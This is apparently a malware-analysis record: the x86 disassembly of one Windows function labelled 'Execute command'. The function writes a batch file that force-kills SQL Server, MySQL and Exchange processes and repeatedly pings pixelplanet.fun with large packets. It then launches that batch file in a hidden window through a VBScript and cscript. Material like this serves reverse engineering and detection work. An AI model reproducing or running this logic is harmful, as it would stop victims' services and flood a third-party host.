Function at 0x401f50
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea eax, [ebp - 0x290]
lea ecx, [ebp - 0x298]
lea ebx, [ebp - 0x268]
sub esp, 0x2bc
mov esi, dword [ebp + 8]
mov dword [ebp - 0x298], eax
mov dword [esp + 4], 0x40d0fa
mov dword [esp], str.pixelplanet.fun
call fcn.00401470
sub esp, 8
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0x40d0fb
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x403fb0
mov dword [esp], ebx
call fcn.0040b360
mov dword [esp + 0xc], 7
mov dword [esp + 8], str.pinger_
mov ecx, ebx
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.004032f8
lea ebx, [ebp - 0x108]
lea edx, [eax + 8]
sub esp, 0x10
mov dword [ebp - 0x110], ebx
mov ecx, dword [eax]
cmp ecx, edx
je 0x402e60
mov dword [ebp - 0x110], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x108], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10c], ecx
mov dword [eax + 4], 0
mov byte [eax + 8], 0
mov dword [eax], edx
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x10c]
cmp eax, 3
jbe 0x4030f7
lea ecx, [ebp - 0x110]
mov dword [esp + 4], 4
mov dword [esp], str..bat
call fcn.004032e8
lea edx, [ebp - 0x278]
sub esp, 8
mov dword [ebp - 0x280], edx
mov ecx, dword [eax]
lea edx, [eax + 8]
cmp ecx, edx
je 0x402ea1
mov dword [ebp - 0x280], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x278], ecx
mov ecx, dword [eax + 4]
mov byte [eax + 8], 0
mov dword [ebp - 0x27c], ecx
mov dword [eax], edx
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x110]
cmp eax, ebx
je 0x40209a
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x268]
lea edx, [ebp - 0x260]
cmp eax, edx
je 0x4020b2
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea edi, [ebp - 0x238]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0x40d0fb
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x403fb0
mov dword [esp], edi
call fcn.0040b360
mov dword [esp + 0xc], 7
mov dword [esp + 8], str.pinger_
mov ecx, edi
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.004032f8
mov dword [ebp - 0x110], ebx
mov ecx, dword [eax]
lea edx, [eax + 8]
sub esp, 0x10
cmp ecx, edx
je 0x402ee2
mov dword [ebp - 0x110], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x108], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10c], ecx
mov dword [eax + 4], 0
mov byte [eax + 8], 0
mov dword [eax], edx
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x10c]
cmp eax, 3
jbe 0x403085
lea ecx, [ebp - 0x110]
mov dword [esp + 4], 4
mov dword [esp], str..vbs
call fcn.004032e8
lea esi, [ebp - 0x248]
lea edx, [eax + 8]
sub esp, 8
mov dword [ebp - 0x250], esi
mov ecx, dword [eax]
cmp ecx, edx
je 0x402f20
mov dword [ebp - 0x250], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x248], ecx
mov ecx, dword [eax + 4]
mov byte [eax + 8], 0
mov dword [ebp - 0x24c], ecx
mov dword [eax], edx
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x110]
cmp eax, ebx
je 0x4021be
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x238]
lea edx, [ebp - 0x230]
cmp eax, edx
je 0x4021d6
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea ecx, [ebp - 0x198]
lea ebx, [ebp - 0x208]
call fcn.004032c8
mov esi, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_filebuf_char__std::char_traits_char___]
mov byte [ebp - 0x124], 0
mov eax, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
mov dword [ebp - reloc.libstdc_6.dll___gxx_personality_v0], sym.imp.libstdc_6.dll___gxx_personality_v0
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x123], 0
mov ecx, dword [esi - 0xc]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x208], esi
add ecx, ebx
mov dword [ecx], eax
mov dword [esp], 0
call fcn.004032b8
lea ecx, [ebp - 0x204]
sub esp, 4
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0x198], 0x4113f0
call fcn.00403318
lea eax, [ebp - 0x204]
lea ecx, [ebp - 0x198]
mov dword [esp], eax
call fcn.004032b8
mov eax, dword [ebp - 0x280]
sub esp, 4
lea ecx, [ebp - 0x204]
mov dword [esp + 4], 0x30
mov dword [esp], eax
call fcn.00403328
sub esp, 8
test eax, eax
mov ecx, ebx
mov eax, dword [ebp - 0x208]
je 0x402f55
add ecx, dword [eax - 0xc]
mov dword [esp], 0
call fcn.004032b0
lea ecx, [ebp - 0x1dc]
sub esp, 4
call fcn.00403368
test al, al
je 0x402a04
mov dword [esp + 8], 9
mov dword [esp + 4], str._echo_off
mov dword [esp], ebx
call fcn.004032a8
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x40316d
cmp byte [edi + 0x1c], 0
je 0x402c60
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
mov dword [esp + 8], 0x1a
mov dword [esp + 4], str.taskkill__f__im_mysqld.exe
mov dword [esp], ebx
call fcn.004032a8
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x40315e
cmp byte [edi + 0x1c], 0
je 0x402cd0
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
mov dword [esp + 8], 0x1d
mov dword [esp + 4], str.taskkill__f__im_sqlwriter.exe
mov dword [esp], ebx
call fcn.004032a8
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x403159
cmp byte [edi + 0x1c], 0
je 0x402d03
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
mov dword [esp + 8], 0x1d
mov dword [esp + 4], str.taskkill__f__im_sqlserver.exe
mov dword [esp], ebx
call fcn.004032a8
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x403154
cmp byte [edi + 0x1c], 0
je 0x402d40
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
mov dword [esp + 8], 0x1b
mov dword [esp + 4], str.taskkill__f__im_MSExchange
mov dword [esp], ebx
call fcn.004032a8
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x40312b
cmp byte [edi + 0x1c], 0
je 0x402d73
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
mov dword [esp + 8], 0x24
mov dword [esp + 4], str.taskkill__f__im_Microsoft.Exchange.
mov dword [esp], ebx
call fcn.004032a8
mov eax, dword [ebp - 0x208]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x18c]
test edi, edi
je 0x403172
cmp byte [edi + 0x1c], 0
je 0x402db0
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, ebx
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
mov dword [esp + 8], 5
mov dword [esp + 4], str.ping
mov dword [esp], ebx
call fcn.004032a8
mov eax, dword [ebp - 0x294]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x298]
mov dword [esp + 4], eax
call fcn.004032a8
mov dword [esp + 8], 0x10
mov dword [esp + 4], str.__n_1024__l_1000
mov edi, eax
mov dword [esp], eax
call fcn.004032a8
mov eax, dword [edi]
mov eax, dword [eax - 0xc]
mov eax, dword [edi + eax + 0x7c]
test eax, eax
mov dword [ebp - 0x29c], eax
je 0x403168
mov eax, dword [ebp - 0x29c]
cmp byte [eax + 0x1c], 0
je 0x402de3
movsx eax, byte [eax + 0x27]
mov dword [esp], eax
mov ecx, edi
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
lea ecx, [ebp - 0x204]
call fcn.00403320
test eax, eax
je 0x403021
lea ecx, [ebp - 0xa0]
call fcn.004032c8
mov byte [ebp - 0x2c], 0
lea ecx, [ebp - 0x110]
add ecx, dword [esi - 0xc]
mov eax, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
mov dword [ebp - 0xa0], sym.imp.libstdc_6.dll___gxx_personality_v0
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x2b], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x110], esi
mov dword [ecx], eax
mov dword [esp], 0
call fcn.004032b8
lea ecx, [ebp - 0x10c]
sub esp, 4
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0xa0], 0x4113f0
call fcn.00403318
lea eax, [ebp - 0x10c]
lea ecx, [ebp - 0xa0]
mov dword [esp], eax
call fcn.004032b8
mov eax, dword [ebp - 0x250]
sub esp, 4
lea ecx, [ebp - 0x10c]
mov dword [esp + 4], 0x30
mov dword [esp], eax
call fcn.00403328
sub esp, 8
test eax, eax
lea ecx, [ebp - 0x110]
mov eax, dword [ebp - 0x110]
je 0x403042
add ecx, dword [eax - 0xc]
mov dword [esp], 0
call fcn.004032b0
lea ecx, [ebp - 0xe4]
sub esp, 4
call fcn.00403368
test al, al
je 0x402b20
lea eax, [ebp - 0x110]
mov dword [esp + 8], 0x2c
mov dword [esp + 4], str.Set_WshShell__CreateObject__WScript.Shell__
mov dword [esp], eax
call fcn.004032a8
mov eax, dword [ebp - 0x110]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x94]
test edi, edi
je 0x4031bd
cmp byte [edi + 0x1c], 0
je 0x402bf0
movsx eax, byte [edi + 0x27]
lea ecx, [ebp - 0x110]
mov dword [esp], eax
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
lea eax, [ebp - 0x110]
mov dword [esp + 8], 0x18
mov dword [esp + 4], str.WshShell.Run_chr_34____
mov dword [esp], eax
call fcn.004032a8
mov eax, dword [ebp - 0x27c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x280]
mov dword [esp + 4], eax
lea eax, [ebp - 0x110]
mov dword [esp], eax
call fcn.004032a8
mov dword [esp + 8], 0xe
mov dword [esp + 4], str.___chr_34___0
mov edi, eax
mov dword [esp], eax
call fcn.004032a8
mov eax, dword [edi]
mov eax, dword [eax - 0xc]
mov eax, dword [edi + eax + 0x7c]
test eax, eax
mov dword [ebp - 0x29c], eax
je 0x4031b8
mov eax, dword [ebp - 0x29c]
cmp byte [eax + 0x1c], 0
je 0x402fe0
movsx eax, byte [eax + 0x27]
mov dword [esp], eax
mov ecx, edi
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
lea eax, [ebp - 0x110]
mov dword [esp + 8], 0x16
mov dword [esp + 4], str.Set_WshShell__Nothing
mov dword [esp], eax
call fcn.004032a8
mov eax, dword [ebp - 0x110]
mov eax, dword [eax - 0xc]
mov edi, dword [ebp + eax - 0x94]
test edi, edi
je 0x4031aa
cmp byte [edi + 0x1c], 0
je 0x402f70
movsx eax, byte [edi + 0x27]
lea ecx, [ebp - 0x110]
mov dword [esp], eax
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
lea ecx, [ebp - 0x10c]
call fcn.00403320
test eax, eax
je 0x403060
lea eax, [ebp - 0x218]
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x21c], 0
mov byte [ebp - 0x218], 0
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0x24c]
add eax, 0x11
mov dword [esp], eax
call fcn.004032f0
mov eax, 0x7fffffff
sub eax, dword [ebp - 0x21c]
sub esp, 4
cmp eax, 0x10
jbe 0x403177
lea ecx, [ebp - 0x220]
mov dword [esp + 4], 0x11
mov dword [esp], str.cscript___NoLogo
call fcn.004032e8
mov eax, dword [ebp - 0x24c]
sub esp, 8
lea ecx, [ebp - 0x220]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x250]
mov dword [esp], eax
call fcn.004032e8
mov eax, dword [ebp - 0x220]
sub esp, 8
mov dword [esp], eax
call sub.msvcrt.dll_system
test eax, eax
jne 0x402e24
mov dword [esp + 8], 0x21
mov dword [esp + 4], str.VBS_script_executed_successfully.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.004032a8
mov eax, dword [sym.imp.libstdc_6.dll_std::cout]
mov eax, dword [eax - 0xc]
mov edi, dword [eax + 0x411440]
test edi, edi
je 0x40321e
cmp byte [edi + 0x1c], 0
je 0x402fa3
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cout
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
mov eax, dword [ebp - 0x220]
lea ebx, [ebp - 0x218]
cmp eax, ebx
je 0x4028d3
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea ecx, [ebp - 0x10c]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0xa0], 0x4113f0
mov dword [ebp - reloc.libstdc_6.dll__ZTVSt15basic_streambufIcSt11char_traitsIcEE], sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___
call fcn.00403320
lea ecx, [ebp - 0xe4]
call fcn.00403330
lea ecx, [ebp - 0xf0]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
call fcn.00403300
mov eax, dword [esi - 0xc]
mov ebx, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x110], esi
mov dword [ebp + eax - 0x110], ebx
mov dword [ebp - 0xa0], sym.imp.libstdc_6.dll___gxx_personality_v0
call fcn.004032c0
lea ecx, [ebp - 0x204]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0x198], 0x4113f0
mov dword [ebp - reloc.libstdc_6.dll__ZTVSt15basic_streambufIcSt11char_traitsIcEE], sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___
call fcn.00403320
lea ecx, [ebp - 0x1dc]
call fcn.00403330
lea ecx, [ebp - 0x1e8]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
call fcn.00403300
mov eax, dword [esi - 0xc]
mov dword [ebp - 0x208], esi
lea ecx, [ebp - 0x198]
mov esi, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
mov dword [ebp + eax - 0x208], esi
mov dword [ebp - reloc.libstdc_6.dll___gxx_personality_v0], sym.imp.libstdc_6.dll___gxx_personality_v0
lea esi, [ebp - 0x248]
call fcn.004032c0
mov eax, dword [ebp - 0x250]
cmp eax, esi
je 0x4029d3
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x280]
lea esi, [ebp - 0x278]
cmp eax, esi
je 0x4029eb
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x298]
lea ebx, [ebp - 0x290]
cmp eax, ebx
jne 0x402b0f
jmp 0x402b17
mov dword [esp + 8], 0x1c
mov dword [esp + 4], str.Failed_to_create_batch_file.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.004032a8
mov eax, dword [sym.imp.libstdc_6.dll_std::cout]
mov eax, dword [eax - 0xc]
mov edi, dword [eax + 0x411440]
test edi, edi
je 0x403163
cmp byte [edi + 0x1c], 0
je 0x402c93
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cout
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
lea ecx, [ebp - 0x204]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0x198], 0x4113f0
mov dword [ebp - reloc.libstdc_6.dll__ZTVSt15basic_streambufIcSt11char_traitsIcEE], sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___
call fcn.00403320
lea ecx, [ebp - 0x1dc]
call fcn.00403330
lea ecx, [ebp - 0x1e8]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
call fcn.00403300
mov eax, dword [esi - 0xc]
mov dword [ebp - 0x208], esi
lea ecx, [ebp - 0x198]
mov esi, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
mov dword [ebp + eax - 0x208], esi
mov dword [ebp - reloc.libstdc_6.dll___gxx_personality_v0], sym.imp.libstdc_6.dll___gxx_personality_v0
lea esi, [ebp - 0x248]
call fcn.004032c0
mov eax, dword [ebp - 0x250]
cmp eax, esi
je 0x402ae7
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x280]
lea esi, [ebp - 0x278]
cmp eax, esi
je 0x402aff
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x298]
lea esi, [ebp - 0x290]
cmp eax, esi
je 0x402b17
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], 0x1a
mov dword [esp + 4], str.Failed_to_create_VBS_file.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.004032a8
mov eax, dword [sym.imp.libstdc_6.dll_std::cout]
mov eax, dword [eax - 0xc]
mov edi, dword [eax + 0x411440]
test edi, edi
je 0x4031b3
cmp byte [edi + 0x1c], 0
je 0x402c23
movsx eax, byte [edi + 0x27]
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cout
call fcn.00403348
sub esp, 4
mov ecx, eax
call fcn.00403340
lea ecx, [ebp - 0x10c]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
mov dword [ebp - 0xa0], 0x4113f0
mov dword [ebp - reloc.libstdc_6.dll__ZTVSt15basic_streambufIcSt11char_traitsIcEE], sym.imp.libstdc_6.dll_vtable_for_std::basic_streambuf_char__std::char_traits_char___
call fcn.00403320
lea ecx, [ebp - 0xe4]
call fcn.00403330
lea ecx, [ebp - 0xf0]
mov dword [ebp - reloc.libstdc_6.dll__ZdlPv], sym.imp.libstdc_6.dll_operator_delete_void_
call fcn.00403300
mov eax, dword [esi - 0xc]
mov ebx, dword [sym.imp.libstdc_6.dll_vtable_for_std::basic_ofstream_char__std::char_traits_char___]
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x110], esi
mov dword [ebp + eax - 0x110], ebx
mov dword [ebp - 0xa0], sym.imp.libstdc_6.dll___gxx_personality_v0
call fcn.004032c0
jmp 0x402a5b
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x4026a5
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x4026a5
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x402b60
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x402b60
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x402320
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x402320
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x402a44
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x402a44
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x402372
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x402372
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x4023c4
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x4023c4
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x402416
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x402416
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x402468
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x402468
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x4024ba
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x4024ba
mov ecx, dword [ebp - 0x29c]
call fcn.00403360
mov eax, dword [ebp - 0x29c]
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x402547
mov dword [esp], 0xa
mov ecx, dword [ebp - 0x29c]
call edx
sub esp, 4
movsx eax, al
jmp 0x402547
mov dword [esp + 8], 0x1c
mov dword [esp + 4], str.VBS_script_execution_failed.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.004032a8
mov eax, dword [sym.imp.libstdc_6.dll_std::cout]
mov eax, dword [eax - 0xc]
mov edi, dword [eax + 0x411440]
test edi, edi
jne 0x402896
call fcn.004032a0
nop
lea esi, [esi]
mov ecx, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x29c], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x2a0], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x104], edi
mov edi, dword [ebp - 0x29c]
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x100], edi
mov edi, dword [ebp - 0x2a0]
mov dword [ebp - 0xfc], edi
jmp 0x402003
mov ecx, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x29c], ecx
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x2a0], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x274], edi
mov edi, dword [ebp - 0x29c]
mov dword [ebp - 0x278], ecx
mov dword [ebp - 0x270], edi
mov edi, dword [ebp - 0x2a0]
mov dword [ebp - 0x26c], edi
jmp 0x402072
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x29c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x100], esi
mov esi, dword [ebp - 0x29c]
mov dword [ebp - 0x104], edi
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0xfc], esi
jmp 0x402127
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0x10]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x29c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x240], esi
mov esi, dword [ebp - 0x29c]
mov dword [ebp - 0x244], edi
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x23c], esi
jmp 0x402196
add ecx, dword [eax - 0xc]
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.004032b0
jmp 0x4022cc
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x40279a
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x40279a
mov ecx, edi
call fcn.00403360
mov eax, dword [edi]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x4028a4
mov dword [esp], 0xa
mov ecx, edi
call edx
sub esp, 4
movsx eax, al
jmp 0x4028a4
mov ecx, dword [ebp - 0x29c]
call fcn.00403360
mov eax, dword [ebp - 0x29c]
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
mov eax, 0xa
cmp edx, 0x40b3c0
je 0x402742
mov dword [esp], 0xa
mov ecx, dword [ebp - 0x29c]
call edx
sub esp, 4
movsx eax, al
jmp 0x402742
mov eax, dword [ebp - 0x208]
mov ecx, dword [eax - 0xc]
add ecx, ebx
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.004032b0
sub esp, 4
jmp 0x40256e
add ecx, dword [eax - 0xc]
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.004032b0
jmp 0x40264b
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x110]
add ecx, dword [eax - 0xc]
mov eax, dword [ecx + 0x14]
or eax, 4
mov dword [esp], eax
call fcn.004032b0
sub esp, 4
jmp 0x4027c5
mov dword [esp], str.basic_string::append
call fcn.00403290
mov esi, eax
mov eax, dword [ebp - 0x110]
cmp eax, ebx
je 0x4030a5
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov ebx, esi
mov eax, dword [ebp - 0x238]
lea edx, [ebp - 0x230]
cmp eax, edx
je 0x4030bf
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x280]
lea esi, [ebp - 0x278]
cmp eax, esi
je 0x4030d7
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov eax, dword [ebp - 0x298]
lea esi, [ebp - 0x290]
cmp eax, esi
je 0x4030ef
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov dword [esp], ebx
call sub.libgcc_s_dw2_1.dll__Unwind_Resume
mov dword [esp], str.basic_string::append
call fcn.00403290
mov esi, eax
mov eax, dword [ebp - 0x110]
cmp eax, ebx
je 0x403117
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
mov ebx, esi
mov eax, dword [ebp - 0x268]
lea edx, [ebp - 0x260]
cmp eax, edx
jne 0x4030cf
jmp 0x4030d7
call fcn.004032a0
mov esi, eax
mov ecx, ebx
mov ebx, esi
call fcn.00403308
mov eax, dword [ebp - 0x250]
lea esi, [ebp - 0x248]
cmp eax, esi
jne 0x4030b7
jmp 0x4030bf
call fcn.004032a0
call fcn.004032a0
call fcn.004032a0
call fcn.004032a0
call fcn.004032a0
call fcn.004032a0
call fcn.004032a0
mov dword [esp], str.basic_string::append
call fcn.00403290
mov esi, eax
mov eax, dword [ebp - 0x220]
lea edx, [ebp - 0x218]
cmp eax, edx
je 0x40319d
mov dword [esp], eax
call sub.libstdc_6.dll_operator_delete_void_
lea ecx, [ebp - 0x110]
call fcn.00403308
jmp 0x403132
call fcn.004032a0
mov esi, eax
jmp 0x40319d
call fcn.004032a0
call fcn.004032a0
call fcn.004032a0
mov esi, eax
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], sym.imp.libstdc_6.dll___gxx_personality_v0
call fcn.004032c0
jmp 0x403132
call fcn.004032a0
jmp 0x403183